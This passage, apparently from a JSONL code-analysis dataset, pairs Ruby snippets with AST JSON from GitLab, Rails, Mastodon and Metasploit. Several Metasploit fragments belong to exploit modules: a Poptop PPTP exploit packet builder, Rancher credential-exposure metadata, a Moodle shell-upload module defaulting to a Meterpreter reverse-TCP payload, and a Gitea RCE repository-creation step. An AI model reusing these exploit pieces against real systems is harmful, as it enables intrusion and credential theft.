\"json\"]},{\"type\":\"send\",\"children\":[null,\"failed_json\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"status\"]},{\"type\":\"sym\",\"children\":[\"unprocessable_entity\"]}]}]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"on_failed_policy\",{\"type\":\"sym\",\"children\":[\"can_add_users_to_channel\"]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"render_json_error\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"I18n\"]},\"t\",{\"type\":\"str\",\"children\":[\"chat.errors.users_cant_be_added_to_channel\"]}]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"on_failed_policy\",{\"type\":\"sym\",\"children\":[\"satisfies_dms_max_users_limit\"]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"policy\"]}]},{\"type\":\"send\",\"children\":[null,\"render_json_dump\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"error\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"policy\"]},\"reason\"]}]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"status\"]},{\"type\":\"int\",\"children\":[400]}]}]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"on_failed_contract\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"contract\"]}]},{\"type\":\"send\",\"children\":[null,\"render\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"json\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"failed_json\"]},\"merge\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"errors\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"contract\"]},\"errors\"]},\"full_messages\"]}]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"status\"]},{\"type\":\"sym\",\"children\":[\"bad_request\"]}]}]}]}]}]}]}]}","id":"fc12c176-88aa-4ae7-a337-c23bb513712f"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/linux/pptp/poptop_negative_read.rb","start_line":99,"raw_source":"def build_packet(length)\n    [length, 1, 0x1a2b3c4d, 1, 0].pack('nnNnn') +\n      [1, 0].pack('cc') +\n      [0].pack('n') +\n      [1, 1, 0, 2600].pack('NNnn') +\n      datastore['Hostname'].ljust(64, \"\\x00\") +\n      datastore['Vendor'].ljust(64, \"\\x00\")\n  end","complexity_score":27.7,"ast_json":"{\"type\":\"def\",\"children\":[\"build_packet\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"length\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"lvar\",\"children\":[\"length\"]},{\"type\":\"int\",\"children\":[1]},{\"type\":\"int\",\"children\":[439041101]},{\"type\":\"int\",\"children\":[1]},{\"type\":\"int\",\"children\":[0]}]},\"pack\",{\"type\":\"str\",\"children\":[\"nnNnn\"]}]},\"+\",{\"type\":\"send\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"int\",\"children\":[1]},{\"type\":\"int\",\"children\":[0]}]},\"pack\",{\"type\":\"str\",\"children\":[\"cc\"]}]}]},\"+\",{\"type\":\"send\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"int\",\"children\":[0]}]},\"pack\",{\"type\":\"str\",\"children\":[\"n\"]}]}]},\"+\",{\"type\":\"send\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"int\",\"children\":[1]},{\"type\":\"int\",\"children\":[1]},{\"type\":\"int\",\"children\":[0]},{\"type\":\"int\",\"children\":[2600]}]},\"pack\",{\"type\":\"str\",\"children\":[\"NNnn\"]}]}]},\"+\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"Hostname\"]}]},\"ljust\",{\"type\":\"int\",\"children\":[64]},{\"type\":\"str\",\"children\":[\"\\u0000\"]}]}]},\"+\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"Vendor\"]}]},\"ljust\",{\"type\":\"int\",\"children\":[64]},{\"type\":\"str\",\"children\":[\"\\u0000\"]}]}]}]}","id":"c7549018-de96-4a31-842c-55d044b8b2db"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/services/projects/import_export/relation_import_service.rb","start_line":78,"raw_source":"def attach_import_file\n        import_export_upload = project.import_export_upload_by_user(current_user) ||\n          project.import_export_uploads.new(user: current_user)\n\n        import_export_upload.import_file = params[:file]\n        import_export_upload.save\n      end","complexity_score":15.1,"ast_json":"{\"type\":\"def\",\"children\":[\"attach_import_file\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"import_export_upload\",{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"project\"]},\"import_export_upload_by_user\",{\"type\":\"send\",\"children\":[null,\"current_user\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"project\"]},\"import_export_uploads\"]},\"new\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"user\"]},{\"type\":\"send\",\"children\":[null,\"current_user\"]}]}]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"import_export_upload\"]},\"import_file=\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"file\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"import_export_upload\"]},\"save\"]}]}]}","id":"982d39ba-2f9b-47d9-afdd-de06b48ec66b"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/database/bulk_update.rb","start_line":54,"raw_source":"def self.column_definitions(model, columns)\n          raise ArgumentError, 'invalid columns' if columns.blank? || columns.any? { |c| !c.is_a?(Symbol) }\n          raise ArgumentError, 'cannot set ID' if columns.include?(:id)\n\n          ([:id] | columns).map { |name| column_definition(model, name) }\n        end","complexity_score":16.4,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"column_definitions\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"model\"]},{\"type\":\"arg\",\"children\":[\"columns\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"columns\"]},\"blank?\"]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"columns\"]},\"any?\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"c\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"c\"]},\"is_a?\",{\"type\":\"const\",\"children\":[null,\"Symbol\"]}]},\"!\"]}]}]},{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"const\",\"children\":[null,\"ArgumentError\"]},{\"type\":\"str\",\"children\":[\"invalid columns\"]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"columns\"]},\"include?\",{\"type\":\"sym\",\"children\":[\"id\"]}]},{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"const\",\"children\":[null,\"ArgumentError\"]},{\"type\":\"str\",\"children\":[\"cannot set ID\"]}]},null]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"sym\",\"children\":[\"id\"]}]},\"|\",{\"type\":\"lvar\",\"children\":[\"columns\"]}]}]},\"map\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"name\"]}]},{\"type\":\"send\",\"children\":[null,\"column_definition\",{\"type\":\"lvar\",\"children\":[\"model\"]},{\"type\":\"lvar\",\"children\":[\"name\"]}]}]}]}]}","id":"01256d68-d6dc-45cb-a39a-a915e88334ac"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/qa/qa/support/page/logging.rb","start_line":21,"raw_source":"def scroll_to(selector, text: nil)\n          msg = \"scrolling to :#{highlight_element(selector)}\"\n          msg += \" with text: #{text}\" if text\n          log(msg, :info)\n\n          super\n        end","complexity_score":6.2,"ast_json":"{\"type\":\"def\",\"children\":[\"scroll_to\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"selector\"]},{\"type\":\"kwoptarg\",\"children\":[\"text\",{\"type\":\"nil\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"msg\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"scrolling to :\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"highlight_element\",{\"type\":\"lvar\",\"children\":[\"selector\"]}]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"text\"]},{\"type\":\"op_asgn\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"msg\"]},\"+\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\" with text: \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"text\"]}]}]}]},null]},{\"type\":\"send\",\"children\":[null,\"log\",{\"type\":\"lvar\",\"children\":[\"msg\"]},{\"type\":\"sym\",\"children\":[\"info\"]}]},{\"type\":\"zsuper\",\"children\":[]}]}]}","id":"2a9f55f0-bd74-4081-90b6-cda56def7640"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/auxiliary/gather/rancher_authenticated_api_cred_exposure.rb","start_line":9,"raw_source":"def initialize(info = {})\n    super(\n      update_info(\n        info,\n        'Name' => 'Rancher Authenticated API Credential Exposure',\n        'Description' => %q{\n          An issue was discovered in Rancher versions up to and including\n          2.5.15 and 2.6.6 where sensitive fields, like passwords, API keys\n          and Ranchers service account token (used to provision clusters),\n          were stored in plaintext directly on Kubernetes objects like Clusters,\n          for example cluster.management.cattle.io. Anyone with read access to\n          those objects in the Kubernetes API could retrieve the plaintext\n          version of those sensitive data.\n        },\n        'License' => MSF_LICENSE,\n        'Author' => [\n          'h00die', # msf module\n          'Florian Struck', # discovery\n          'Marco Stuurman' # discovery\n        ],\n        'References' => [\n          [ 'URL', 'https://github.com/advisories/GHSA-g7j7-h4q8-8w2f'],\n          [ 'URL', 'https://github.com/fe-ax/tf-cve-2021-36782'],\n          [ 'URL', 'https://fe.ax/cve-2021-36782/'],\n          [ 'CVE', '2021-36782']\n        ],\n        'DisclosureDate' => '2022-08-18',\n        'DefaultOptions' => {\n          'RPORT' => 443,\n          'SSL' => true\n        },\n        'Notes' => {\n          'Stability' => [],\n          'Reliability' => [],\n          'SideEffects' => []\n        }\n      )\n    )\n    register_options(\n      [\n        OptString.new('USERNAME', [ true, 'User to login with']),\n        OptString.new('PASSWORD', [ true, 'Password to login with']),\n        OptString.new('TARGETURI', [ true, 'The URI of Rancher instance', '/'])\n      ]\n    )\n  end","complexity_score":7.9,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"info\",{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"super\",\"children\":[{\"type\":\"send\",\"children\":[null,\"update_info\",{\"type\":\"lvar\",\"children\":[\"info\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Name\"]},{\"type\":\"str\",\"children\":[\"Rancher Authenticated API Credential Exposure\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Description\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"          An issue was discovered in Rancher versions up to and including\\n\"]},{\"type\":\"str\",\"children\":[\"          2.5.15 and 2.6.6 where sensitive fields, like passwords, API keys\\n\"]},{\"type\":\"str\",\"children\":[\"          and Ranchers service account token (used to provision clusters),\\n\"]},{\"type\":\"str\",\"children\":[\"          were stored in plaintext directly on Kubernetes objects like Clusters,\\n\"]},{\"type\":\"str\",\"children\":[\"          for example cluster.management.cattle.io. Anyone with read access to\\n\"]},{\"type\":\"str\",\"children\":[\"          those objects in the Kubernetes API could retrieve the plaintext\\n\"]},{\"type\":\"str\",\"children\":[\"          version of those sensitive data.\\n\"]},{\"type\":\"str\",\"children\":[\"        \"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"License\"]},{\"type\":\"const\",\"children\":[null,\"MSF_LICENSE\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Author\"]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"h00die\"]},{\"type\":\"str\",\"children\":[\"Florian Struck\"]},{\"type\":\"str\",\"children\":[\"Marco Stuurman\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"References\"]},{\"type\":\"array\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"URL\"]},{\"type\":\"str\",\"children\":[\"https://github.com/advisories/GHSA-g7j7-h4q8-8w2f\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"URL\"]},{\"type\":\"str\",\"children\":[\"https://github.com/fe-ax/tf-cve-2021-36782\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"URL\"]},{\"type\":\"str\",\"children\":[\"https://fe.ax/cve-2021-36782/\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"CVE\"]},{\"type\":\"str\",\"children\":[\"2021-36782\"]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"DisclosureDate\"]},{\"type\":\"str\",\"children\":[\"2022-08-18\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"DefaultOptions\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"RPORT\"]},{\"type\":\"int\",\"children\":[443]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"SSL\"]},{\"type\":\"true\",\"children\":[]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Notes\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Stability\"]},{\"type\":\"array\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Reliability\"]},{\"type\":\"array\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"SideEffects\"]},{\"type\":\"array\",\"children\":[]}]}]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"register_options\",{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OptString\"]},\"new\",{\"type\":\"str\",\"children\":[\"USERNAME\"]},{\"type\":\"array\",\"children\":[{\"type\":\"true\",\"children\":[]},{\"type\":\"str\",\"children\":[\"User to login with\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OptString\"]},\"new\",{\"type\":\"str\",\"children\":[\"PASSWORD\"]},{\"type\":\"array\",\"children\":[{\"type\":\"true\",\"children\":[]},{\"type\":\"str\",\"children\":[\"Password to login with\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OptString\"]},\"new\",{\"type\":\"str\",\"children\":[\"TARGETURI\"]},{\"type\":\"array\",\"children\":[{\"type\":\"true\",\"children\":[]},{\"type\":\"str\",\"children\":[\"The URI of Rancher instance\"]},{\"type\":\"str\",\"children\":[\"/\"]}]}]}]}]}]}]}","id":"1e21dbe8-10e0-437e-8339-b045415fb9db"}
{"repo_name":"rails","file_path":"./repos/rails/activerecord/test/cases/migration/foreign_key_test.rb","start_line":611,"raw_source":"def test_deferrable_initially_immediate_foreign_key\n            @connection.add_foreign_key :astronauts, :rockets, column: \"rocket_id\", deferrable: :immediate\n\n            foreign_keys = @connection.foreign_keys(\"astronauts\")\n            assert_equal 1, foreign_keys.size\n\n            fk = foreign_keys.first\n            assert_equal :immediate, fk.deferrable\n          end","complexity_score":9.7,"ast_json":"{\"type\":\"def\",\"children\":[\"test_deferrable_initially_immediate_foreign_key\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@connection\"]},\"add_foreign_key\",{\"type\":\"sym\",\"children\":[\"astronauts\"]},{\"type\":\"sym\",\"children\":[\"rockets\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"column\"]},{\"type\":\"str\",\"children\":[\"rocket_id\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"deferrable\"]},{\"type\":\"sym\",\"children\":[\"immediate\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"foreign_keys\",{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@connection\"]},\"foreign_keys\",{\"type\":\"str\",\"children\":[\"astronauts\"]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"int\",\"children\":[1]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"foreign_keys\"]},\"size\"]}]},{\"type\":\"lvasgn\",\"children\":[\"fk\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"foreign_keys\"]},\"first\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"sym\",\"children\":[\"immediate\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"fk\"]},\"deferrable\"]}]}]}]}","id":"45e50e7b-e2f1-4529-ba6a-12b4d4896407"}
{"repo_name":"mastodon","file_path":"./repos/mastodon/app/controllers/admin/users/two_factor_authentications_controller.rb","start_line":17,"raw_source":"def set_target_user\n      @user = User.find(params[:user_id])\n    end","complexity_score":4.6,"ast_json":"{\"type\":\"def\",\"children\":[\"set_target_user\",{\"type\":\"args\",\"children\":[]},{\"type\":\"ivasgn\",\"children\":[\"@user\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"User\"]},\"find\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"user_id\"]}]}]}]}]}","id":"ad4f1548-4697-4b36-9dc4-981f01cb09f3"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/multi/http/moodle_admin_shell_upload.rb","start_line":14,"raw_source":"def initialize(info = {})\n    super(\n      update_info(\n        info,\n        'Name' => 'Moodle Admin Shell Upload',\n        'Description' => %q{\n          This module will generate a plugin which can receive a malicious\n          payload request and upload it to a server running Moodle\n          provided valid admin credentials are used.  Then the payload\n          is sent for execution, and the plugin uninstalled.\n\n          You must have an admin account to exploit this vulnerability.\n\n          Successfully tested against 3.6.3, 3.8.0, 3.9.0, 3.10.0, 3.11.2\n        },\n        'License' => MSF_LICENSE,\n        'Author' => [\n          'AkkuS <Özkan Mustafa Akkuş>', # Discovery & PoC & Metasploit module @ehakkus\n          'h00die' # msf module cleanup and inclusion\n        ],\n        'References' => [\n          ['URL', 'http://pentest.com.tr/exploits/Moodle-3-6-3-Install-Plugin-Remote-Command-Execution.html'],\n          ['EDB', '46775'],\n          ['CVE', '2019-11631'] # rejected, its a feature!\n        ],\n        'Platform' => 'php',\n        'Arch' => ARCH_PHP,\n        'Targets' => [['Automatic', {}]],\n        'Privileged' => false,\n        'DisclosureDate' => '2019-04-28',\n        'DefaultTarget' => 0,\n        'DefaultOptions' => { 'Payload' => 'php/meterpreter/reverse_tcp' },\n        'Payload' => {\n          'BadChars' => \"'\",\n          'Space' => 6070 # apache default is 8196, but 35% overhead for base64 encoding\n        },\n        'Notes' => {\n          'Stability' => [CRASH_SAFE],\n          'Reliability' => [REPEATABLE_SESSION],\n          'SideEffects' => [CONFIG_CHANGES, IOC_IN_LOGS]\n        }\n      )\n    )\n\n    register_options(\n      [\n        OptString.new('USERNAME', [true, 'Admin username to authenticate with', 'admin']),\n        OptString.new('PASSWORD', [false, 'Admin password to authenticate with', ''])\n      ]\n    )\n  end","complexity_score":6.7,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"info\",{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"super\",\"children\":[{\"type\":\"send\",\"children\":[null,\"update_info\",{\"type\":\"lvar\",\"children\":[\"info\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Name\"]},{\"type\":\"str\",\"children\":[\"Moodle Admin Shell Upload\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Description\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"          This module will generate a plugin which can receive a malicious\\n\"]},{\"type\":\"str\",\"children\":[\"          payload request and upload it to a server running Moodle\\n\"]},{\"type\":\"str\",\"children\":[\"          provided valid admin credentials are used.  Then the payload\\n\"]},{\"type\":\"str\",\"children\":[\"          is sent for execution, and the plugin uninstalled.\\n\"]},{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"          You must have an admin account to exploit this vulnerability.\\n\"]},{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"          Successfully tested against 3.6.3, 3.8.0, 3.9.0, 3.10.0, 3.11.2\\n\"]},{\"type\":\"str\",\"children\":[\"        \"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"License\"]},{\"type\":\"const\",\"children\":[null,\"MSF_LICENSE\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Author\"]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"AkkuS <Özkan Mustafa Akkuş>\"]},{\"type\":\"str\",\"children\":[\"h00die\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"References\"]},{\"type\":\"array\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"URL\"]},{\"type\":\"str\",\"children\":[\"http://pentest.com.tr/exploits/Moodle-3-6-3-Install-Plugin-Remote-Command-Execution.html\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"EDB\"]},{\"type\":\"str\",\"children\":[\"46775\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"CVE\"]},{\"type\":\"str\",\"children\":[\"2019-11631\"]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Platform\"]},{\"type\":\"str\",\"children\":[\"php\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Arch\"]},{\"type\":\"const\",\"children\":[null,\"ARCH_PHP\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Targets\"]},{\"type\":\"array\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"Automatic\"]},{\"type\":\"hash\",\"children\":[]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Privileged\"]},{\"type\":\"false\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"DisclosureDate\"]},{\"type\":\"str\",\"children\":[\"2019-04-28\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"DefaultTarget\"]},{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"DefaultOptions\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Payload\"]},{\"type\":\"str\",\"children\":[\"php/meterpreter/reverse_tcp\"]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Payload\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"BadChars\"]},{\"type\":\"str\",\"children\":[\"'\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Space\"]},{\"type\":\"int\",\"children\":[6070]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Notes\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Stability\"]},{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[null,\"CRASH_SAFE\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Reliability\"]},{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[null,\"REPEATABLE_SESSION\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"SideEffects\"]},{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[null,\"CONFIG_CHANGES\"]},{\"type\":\"const\",\"children\":[null,\"IOC_IN_LOGS\"]}]}]}]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"register_options\",{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OptString\"]},\"new\",{\"type\":\"str\",\"children\":[\"USERNAME\"]},{\"type\":\"array\",\"children\":[{\"type\":\"true\",\"children\":[]},{\"type\":\"str\",\"children\":[\"Admin username to authenticate with\"]},{\"type\":\"str\",\"children\":[\"admin\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OptString\"]},\"new\",{\"type\":\"str\",\"children\":[\"PASSWORD\"]},{\"type\":\"array\",\"children\":[{\"type\":\"false\",\"children\":[]},{\"type\":\"str\",\"children\":[\"Admin password to authenticate with\"]},{\"type\":\"str\",\"children\":[\"\"]}]}]}]}]}]}]}","id":"771349e7-ce6f-4f6e-848f-bdc62421d044"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/multi/http/gitea_git_hooks_rce.rb","start_line":247,"raw_source":"def gitea_create_repo\n    uri = normalize_uri(datastore['TARGETURI'], '/repo/create')\n\n    res = send_request_cgi('method' => 'GET', 'uri' => uri, 'keep_cookies' => true)\n    unless res\n      fail_with(Failure::Unreachable, \"Unable to reach #{uri}\")\n    end\n\n    vprint_status('Get \"csrf\" and \"uid\" values')\n    csrf = extract_value(res, '_csrf')\n    vprint_good(\"csrf=#{csrf}\")\n    uid = extract_value(res, 'uid')\n    vprint_good(\"uid=#{uid}\")\n\n    res = http_post_request(\n      uri,\n      uid: uid,\n      repo_name: @repo_name,\n      private: 'on',\n      description: '',\n      repo_template: '',\n      issue_labels: '',\n      gitignores: '',\n      license: '',\n      readme: 'Default',\n      auto_init: 'on',\n      default_branch: 'master',\n      csrf: csrf\n    )\n    unless res\n      fail_with(Failure::Unreachable, \"Unable to reach #{uri}\")\n    end\n\n    unless res.code == 302\n      fail_with(Failure::UnexpectedReply, 'Create repository failure')\n    end\n\n    nil\n  end","complexity_score":24.4,"ast_json":"{\"type\":\"def\",\"children\":[\"gitea_create_repo\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"uri\",{\"type\":\"send\",\"children\":[null,\"normalize_uri\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"TARGETURI\"]}]},{\"type\":\"str\",\"children\":[\"/repo/create\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"res\",{\"type\":\"send\",\"children\":[null,\"send_request_cgi\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"method\"]},{\"type\":\"str\",\"children\":[\"GET\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"uri\"]},{\"type\":\"lvar\",\"children\":[\"uri\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"keep_cookies\"]},{\"type\":\"true\",\"children\":[]}]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"